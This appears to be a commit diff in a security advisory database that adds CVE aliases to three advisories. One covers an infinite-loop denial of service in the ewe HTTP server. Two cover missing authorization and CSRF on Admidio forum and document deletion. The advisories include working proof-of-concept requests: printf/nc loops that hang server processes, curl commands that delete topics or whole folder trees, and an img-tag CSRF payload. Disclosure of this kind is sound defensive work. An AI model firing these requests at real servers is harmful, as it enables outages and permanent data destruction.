Publish Advisories

GHSA-4w98-xf39-23gp
GHSA-g375-5wmp-xr78
GHSA-rmpj-3x5m-9m5f
GHSA-wwg8-6ffr-h4q2
GHSA-xp2m-98x8-rpj6

Author: advisory-database[bot]

advisories/github-reviewed/2026/03/GHSA-4w98-xf39-23gp/GHSA-4w98-xf39-23gp.json

@@ -1,9 +1,11 @@
 {
   "schema_version": "1.4.0",
   "id": "GHSA-4w98-xf39-23gp",
-  "modified": "2026-03-16T20:49:50Z",
+  "modified": "2026-03-18T21:42:30Z",
   "published": "2026-03-16T20:49:50Z",
-  "aliases": [],
+  "aliases": [
+    "CVE-2026-32873"
+  ],
   "summary": "Loop with Unreachable Exit Condition ('Infinite Loop') in ewe",
   "details": "## Summary\n\newe's `handle_trailers` function contains a bug where rejected trailer headers (forbidden or undeclared) cause an infinite loop. The function recurses with the original unparsed buffer instead of advancing past the rejected header, re-parsing the same header forever. Each malicious request permanently wedges a BEAM process at 100% CPU with no timeout or escape.\n\n## Impact\n\nWhen `handle_trailers` (`ewe/internal/http1.gleam:493`) encounters a trailer that is either not in the declared trailer set or is blocked by `is_forbidden_trailer`, three code paths (lines 520, 523, 526) recurse with the original buffer `rest` instead of `Buffer(header_rest, 0)`:\n\n```gleam\n// Line 523 — uses `rest` (original buffer), not `Buffer(header_rest, 0)` (remaining)\nFalse -> handle_trailers(req, set, rest)\n```\n\nThis causes `decoder.decode_packet` to re-parse the same header on every iteration, producing an infinite loop. The BEAM process never yields, never times out, and never terminates.\n\n**Any ewe application that calls `ewe.read_body` on chunked requests is affected.** This is exploitable by any unauthenticated remote client. There is no application-level workaround — the infinite loop is triggered inside `read_body` before control returns to application code.\n\n### Proof of Concept\n\n**Send a chunked request with a forbidden trailer (`host`) to trigger the infinite loop:**\n\n```sh\nprintf 'POST / HTTP/1.1\\r\\nHost: localhost:8080\\r\\nTransfer-Encoding: chunked\\r\\nTrailer: host\\r\\n\\r\\n4\\r\\ntest\\r\\n0\\r\\nhost: evil.example.com\\r\\n\\r\\n' | nc -w 3 localhost 8080\n```\n\nThis will hang (no response) until the `nc` timeout. The server-side handler process is stuck forever.\n\n**Exhaust server resources with concurrent requests:**\n\n```sh\nfor i in $(seq 1 50); do\n  printf 'POST / HTTP/1.1\\r\\nHost: localhost:8080\\r\\nTransfer-Encoding: chunked\\r\\nTrailer: host\\r\\n\\r\\n4\\r\\ntest\\r\\n0\\r\\nhost: evil.example.com\\r\\n\\r\\n' | nc -w 1 localhost 8080 &\ndone\n```\n\nOpen the Erlang Observer (`observer:start()`) and sort the Processes tab by Reductions to see the stuck processes with continuously climbing reduction counts.\n\n### Vulnerable Code\n\nAll three `False`/`Error` branches in `handle_trailers` have the same bug:\n\n```gleam\n// ewe/internal/http1.gleam, lines 493–531\nfn handle_trailers(\n  req: Request(BitArray),\n  set: Set(String),\n  rest: Buffer,\n) -> Request(BitArray) {\n  case decoder.decode_packet(HttphBin, rest) {\n    Ok(Packet(HttpEoh, _)) -> req\n    Ok(Packet(HttpHeader(idx, field, value), header_rest)) -> {\n      // ... field name parsing ...\n      case field_name {\n        Ok(field_name) -> {\n          case\n            set.contains(set, field_name) && !is_forbidden_trailer(field_name)\n          {\n            True -> {\n              case bit_array.to_string(value) {\n                Ok(value) -> {\n                  request.set_header(req, field_name, value)\n                  |> handle_trailers(set, Buffer(header_rest, 0))  // correct\n                }\n                Error(Nil) -> handle_trailers(req, set, rest)      // BUG: line 520\n              }\n            }\n            False -> handle_trailers(req, set, rest)               // BUG: line 523\n          }\n        }\n        Error(Nil) -> handle_trailers(req, set, rest)              // BUG: line 526\n      }\n    }\n    _ -> req\n  }\n}\n```",
   "severity": [

advisories/github-reviewed/2026/03/GHSA-g375-5wmp-xr78/GHSA-g375-5wmp-xr78.json

@@ -1,9 +1,11 @@
 {
   "schema_version": "1.4.0",
   "id": "GHSA-g375-5wmp-xr78",
-  "modified": "2026-03-16T21:18:53Z",
+  "modified": "2026-03-18T21:41:54Z",
   "published": "2026-03-16T21:18:53Z",
-  "aliases": [],
+  "aliases": [
+    "CVE-2026-32818"
+  ],
   "summary": "Admidio is Missing Authorization on Forum Topic and Post Deletion",
   "details": "## Summary\n\nThe forum module in Admidio does not verify whether the current user has permission to delete forum topics or posts. Both the `topic_delete` and `post_delete` actions in `forum.php` only validate the CSRF token but perform no authorization check before calling `delete()`. Any authenticated user with forum access can delete any topic (with all its posts) or any individual post by providing its UUID.\n\nThis is inconsistent with the save/edit operations, which properly check `isAdministratorForum()` and ownership before allowing modifications.\n\n## Details\n\n### Vulnerable Code Path 1: Topic Deletion\n\nFile: `D:\\bugcrowd\\admidio\\repo\\modules\\forum.php`, lines 98-108\n\nThe topic_delete handler validates CSRF but never calls `$topic->isEditable()`:\n\n```php\ncase 'topic_delete':\n    // check the CSRF token of the form against the session token\n    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n\n    $topic = new Topic($gDb);\n    $topic->readDataByUuid($getTopicUUID);\n    $topic->delete();\n    echo json_encode(array('status' => 'success'));\n    break;\n```\n\nThe `Topic` class has an `isEditable()` method (lines 144-164 of `ListConfiguration.php`) that properly checks `isAdministratorForum()` and `getAllEditableCategories('FOT')`, but it is never called in the delete path.\n\n### Vulnerable Code Path 2: Post Deletion\n\nFile: `D:\\bugcrowd\\admidio\\repo\\modules\\forum.php`, lines 125-134\n\nThe post_delete handler also validates CSRF but performs no authorization check:\n\n```php\ncase 'post_delete':\n    // check the CSRF token of the form against the session token\n    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n\n    $post = new Post($gDb);\n    $post->readDataByUuid($getPostUUID);\n    $post->delete();\n    echo json_encode(array('status' => 'success'));\n    break;\n```\n\n### Contrast with Save Operations (Properly Authorized)\n\nThe `ForumTopicService::savePost()` method in `D:\\bugcrowd\\admidio\\repo\\src\\Forum\\Service\\ForumTopicService.php` lines 117-121 correctly verifies authorization:\n\n```php\nif ($postUUID !== '') {\n    $post->readDataByUuid($postUUID);\n    if (!$gCurrentUser->isAdministratorForum() && $post->getValue('fop_usr_id_create') !== $gCurrentUser->getValue('usr_id')) {\n        throw new Exception('You are not allowed to edit this post.');\n    }\n}\n```\n\nThe delete operations should have equivalent checks but do not.\n\n### Module-Level Access Check\n\nFile: `D:\\bugcrowd\\admidio\\repo\\modules\\forum.php`, lines 53-59\n\nThe only check before the delete operations is the module-level access check:\n\n```php\nif ($gSettingsManager->getInt('forum_module_enabled') === 0) {\n    throw new Exception('SYS_MODULE_DISABLED');\n} elseif ($gSettingsManager->getInt('forum_module_enabled') === 1\n    && !in_array($getMode, array('cards', 'list', 'topic')) && !$gValidLogin) {\n    throw new Exception('SYS_NO_RIGHTS');\n}\n```\n\nThis only ensures the user is logged in for write operations. It does not check whether the user has forum admin rights or is the author of the content being deleted.\n\n## PoC\n\n**Prerequisites:** Two user accounts - a regular logged-in user (attacker) and a forum admin who has created topics and posts.\n\n**Step 1: Attacker discovers a topic UUID**\n\nThe attacker visits any forum topic page. Topic UUIDs are visible in the URL and page source.\n\n**Step 2: Attacker deletes the topic (and all its posts)**\n\n```\ncurl -X POST \"https://TARGET/adm_program/modules/forum.php?mode=topic_delete&topic_uuid=<TOPIC_UUID>\" \\\n  -H \"Cookie: ADMIDIO_SESSION_ID=<attacker_session>\" \\\n  -d \"adm_csrf_token=<attacker_csrf_token>\"\n```\n\nExpected response: `{\"status\":\"success\"}`\n\nThe topic and all its posts are permanently deleted from the database.\n\n**Step 3: Attacker deletes an individual post**\n\n```\ncurl -X POST \"https://TARGET/adm_program/modules/forum.php?mode=post_delete&post_uuid=<POST_UUID>\" \\\n  -H \"Cookie: ADMIDIO_SESSION_ID=<attacker_session>\" \\\n  -d \"adm_csrf_token=<attacker_csrf_token>\"\n```\n\nExpected response: `{\"status\":\"success\"}`\n\n## Impact\n\n- **Data Destruction:** Any logged-in user can permanently delete any forum topic (including all associated posts) or any individual post. The `Topic::delete()` method cascades and removes all posts belonging to the topic.\n- **Content Integrity:** Forum content created by administrators or other authorized users can be destroyed by any regular member.\n- **No Undo:** The deletion is permanent. There is no soft-delete or trash mechanism. The only recovery would be from database backups.\n- **Low Barrier:** The attacker only needs a valid login and the UUID of the target content. UUIDs are visible in forum page URLs and are not secret.\n\n## Recommended Fix\n\n### Fix 1: Add authorization check to topic_delete\n\n```php\ncase 'topic_delete':\n    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n\n    $topic = new Topic($gDb);\n    $topic->readDataByUuid($getTopicUUID);\n\n    // Add authorization check\n    if (!$topic->isEditable()) {\n        throw new Exception('SYS_NO_RIGHTS');\n    }\n\n    $topic->delete();\n    echo json_encode(array('status' => 'success'));\n    break;\n```\n\n### Fix 2: Add authorization check to post_delete\n\n```php\ncase 'post_delete':\n    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n\n    $post = new Post($gDb);\n    $post->readDataByUuid($getPostUUID);\n\n    // Add authorization check - only forum admins or the post author can delete\n    if (!$gCurrentUser->isAdministratorForum()\n        && (int)$post->getValue('fop_usr_id_create') !== $gCurrentUserId) {\n        throw new Exception('SYS_NO_RIGHTS');\n    }\n\n    $post->delete();\n    echo json_encode(array('status' => 'success'));\n    break;\n```",
   "severity": [

advisories/github-reviewed/2026/03/GHSA-rmpj-3x5m-9m5f/GHSA-rmpj-3x5m-9m5f.json

@@ -1,9 +1,11 @@
 {
   "schema_version": "1.4.0",
   "id": "GHSA-rmpj-3x5m-9m5f",
-  "modified": "2026-03-16T21:18:10Z",
+  "modified": "2026-03-18T21:41:48Z",
   "published": "2026-03-16T21:18:10Z",
-  "aliases": [],
+  "aliases": [
+    "CVE-2026-32817"
+  ],
   "summary": "Admidio is Missing Authorization and CSRF Protection on Document and Folder Deletion",
   "details": "## Summary\n\nThe documents and files module in Admidio does not verify whether the current user has permission to delete folders or files. The `folder_delete` and `file_delete` action handlers in `modules/documents-files.php` only perform a VIEW authorization check (`getFolderForDownload` / `getFileForDownload`) before calling `delete()`, and they never validate a CSRF token. Because the target UUIDs are read from `$_GET`, deletion can be triggered by a plain HTTP GET request. When the module is in public mode (`documents_files_module_enabled = 1`) and a folder is marked public (`fol_public = true`), an unauthenticated attacker can permanently destroy the entire document library. Even when the module requires login, any user with view-only access can delete content they are only permitted to read.\n\n## Details\n\n### Module Access Check\n\nFile: `D:/bugcrowd/admidio/repo/modules/documents-files.php`, lines 72-76\n\nThe module only blocks unauthenticated access when the setting is 2 (members-only). When the setting is 1 (public), no login is required to reach any action handler:\n\n```php\nif ($gSettingsManager->getInt('documents_files_module_enabled') === 0) {\n    throw new Exception('SYS_MODULE_DISABLED');\n} elseif ($gSettingsManager->getInt('documents_files_module_enabled') === 2 && !$gValidLogin) {\n    throw new Exception('SYS_NO_RIGHTS');\n}\n```\n\n### Vulnerable Code Path 1: Folder Deletion\n\nFile: `D:/bugcrowd/admidio/repo/modules/documents-files.php`, lines 122-133\n\n```php\ncase 'folder_delete':\n    if ($getFolderUUID === '') {\n        throw new Exception('SYS_INVALID_PAGE_VIEW');\n    } else {\n        $folder = new Folder($gDb);\n        $folder->getFolderForDownload($getFolderUUID);  // VIEW check only\n\n        $folder->delete();                               // no CSRF token, no upload/admin check\n        echo json_encode(array('status' => 'success'));\n    }\n    break;\n```\n\nThe target UUID is read exclusively from `$_GET` at line 64:\n\n```php\n$getFolderUUID = admFuncVariableIsValid($_GET, 'folder_uuid', 'uuid', ...);\n```\n\n### Vulnerable Code Path 2: File Deletion\n\nFile: `D:/bugcrowd/admidio/repo/modules/documents-files.php`, lines 150-161\n\n```php\ncase 'file_delete':\n    if ($getFileUUID === '') {\n        throw new Exception('SYS_INVALID_PAGE_VIEW');\n    } else {\n        $file = new File($gDb);\n        $file->getFileForDownload($getFileUUID);  // VIEW check only\n\n        $file->delete();                           // no CSRF token, no upload/admin check\n        echo json_encode(array('status' => 'success'));\n    }\n    break;\n```\n\nSame pattern as `folder_delete`. The file UUID is also read from `$_GET` (line 69).\n\n### getFolderForDownload Grants VIEW Access to Public Folders Without Login\n\nFile: `D:/bugcrowd/admidio/repo/src/Documents/Entity/Folder.php`, lines 432-438\n\n```php\n// If the folder is public (and the file is not locked) => allow\nif ($this->getValue('fol_public') && !$this->getValue('fol_locked')) {\n    return true;\n}\n```\n\nThis is the correct check for granting VIEW access to public folders. It is not an appropriate gate for a destructive delete operation.\n\n### Contrast with Other Write Operations (Properly Protected)\n\nAll other write operations in `documents-files.php` route through `DocumentsService`, which validates the CSRF token via `getFormObject($_POST['adm_csrf_token'])` before any mutation (DocumentsService.php lines 278, 332, 386, 448). The delete cases bypass this service entirely and receive no equivalent protection.\n\n### Folder::delete() Is Recursive and Permanent\n\nFile: `D:/bugcrowd/admidio/repo/src/Documents/Entity/Folder.php`, lines 213-259\n\n`Folder::delete()` recursively removes all sub-folders and files from both the database and the physical filesystem. There is no soft-delete or trash mechanism. A single call to `folder_delete` on the root folder permanently destroys the entire document library.\n\n### UI Shows Delete Buttons Only to Authorized Users (Not Enforced Server-Side)\n\nFile: `D:/bugcrowd/admidio/repo/src/UI/Presenter/DocumentsPresenter.php`, lines 546, 589\n\nThe presenter renders delete action links only when the user has upload rights (`hasUploadRight()`). This client-side restriction is not enforced server-side. Any HTTP client can send the GET request directly.\n\n## PoC\n\n**Scenario 1: Unauthenticated deletion of a public folder (zero credentials required)**\n\nPrerequisites: `documents_files_module_enabled = 1`, target folder has `fol_public = true`.\n\nStep 1: Discover folder UUIDs by fetching the public document list (no login needed):\n\n```\ncurl \"https://TARGET/adm_program/modules/documents-files.php?mode=list\"\n```\n\nStep 2: Delete the entire folder tree permanently:\n\n```\ncurl \"https://TARGET/adm_program/modules/documents-files.php?mode=folder_delete&folder_uuid=<FOLDER_UUID>\"\n```\n\nExpected response: `{\"status\":\"success\"}`\n\nThe folder, all its sub-folders, and all their files are permanently removed from the database and filesystem. No authentication or token is required.\n\n**Scenario 2: Authenticated view-only member deletes any accessible file**\n\nPrerequisites: `documents_files_module_enabled = 2` (members-only). Attacker has a regular member account with view rights to the target folder but no upload rights.\n\n```\ncurl \"https://TARGET/adm_program/modules/documents-files.php?mode=file_delete&file_uuid=<FILE_UUID>\" \\\n  -H \"Cookie: ADMIDIO_SESSION_ID=<view_only_session>\"\n```\n\nExpected response: `{\"status\":\"success\"}`\n\n**Scenario 3: Cross-site GET CSRF via image tag**\n\nBecause deletion uses a plain GET request with no token, an attacker can embed the following in any HTML email or web page. When a logged-in Admidio member views the page, their browser fetches the URL with the session cookie attached:\n\n```html\n<img src=\"https://TARGET/adm_program/modules/documents-files.php?mode=folder_delete&folder_uuid=<UUID>\" width=\"1\" height=\"1\">\n```\n\n## Impact\n\n- **Unauthenticated Data Destruction:** When the module is in public mode and any folder is marked public, an unauthenticated remote attacker can permanently delete any or all documents and folders. No credentials or tokens are required.\n- **Privilege Escalation (View to Delete):** Any logged-in member with view-only access can delete content they are only permitted to read, bypassing the `hasUploadRight()` permission boundary.\n- **Cross-Site CSRF:** Because UUIDs appear in page URLs visible to authenticated users, an attacker can embed a GET-based CSRF payload in phishing content to trigger deletion on behalf of any victim.\n- **No Recovery Path:** `Folder::delete()` and `File::delete()` are permanent operations. The only recovery is from a database and filesystem backup.\n- **Full Organizational Impact:** Deletion of the root documents folder recursively removes the entire document library of the organization.\n\n## Recommended Fix\n\n### Fix 1: Add authorization check and CSRF token validation to both delete handlers\n\n```php\ncase 'folder_delete':\n    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n    if ($getFolderUUID === '') {\n        throw new Exception('SYS_INVALID_PAGE_VIEW');\n    }\n    $folder = new Folder($gDb);\n    $folder->getFolderForDownload($getFolderUUID);\n    if (!$gCurrentUser->isAdministratorDocumentsFiles() && !$folder->hasUploadRight()) {\n        throw new Exception('SYS_NO_RIGHTS');\n    }\n    $folder->delete();\n    echo json_encode(array('status' => 'success'));\n    break;\n\ncase 'file_delete':\n    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n    if ($getFileUUID === '') {\n        throw new Exception('SYS_INVALID_PAGE_VIEW');\n    }\n    $file = new File($gDb);\n    $file->getFileForDownload($getFileUUID);\n    $parentFolder = new Folder($gDb);\n    $parentFolder->readDataById((int)$file->getValue('fil_fol_id'));\n    if (!$gCurrentUser->isAdministratorDocumentsFiles() && !$parentFolder->hasUploadRight()) {\n        throw new Exception('SYS_NO_RIGHTS');\n    }\n    $file->delete();\n    echo json_encode(array('status' => 'success'));\n    break;\n```\n\n### Fix 2: Move folder_uuid and file_uuid to POST parameters for delete operations\n\nReading the UUID from `$_GET` enables GET-based CSRF. Moving to `$_POST` and validating the CSRF token together closes both issues simultaneously.",
   "severity": [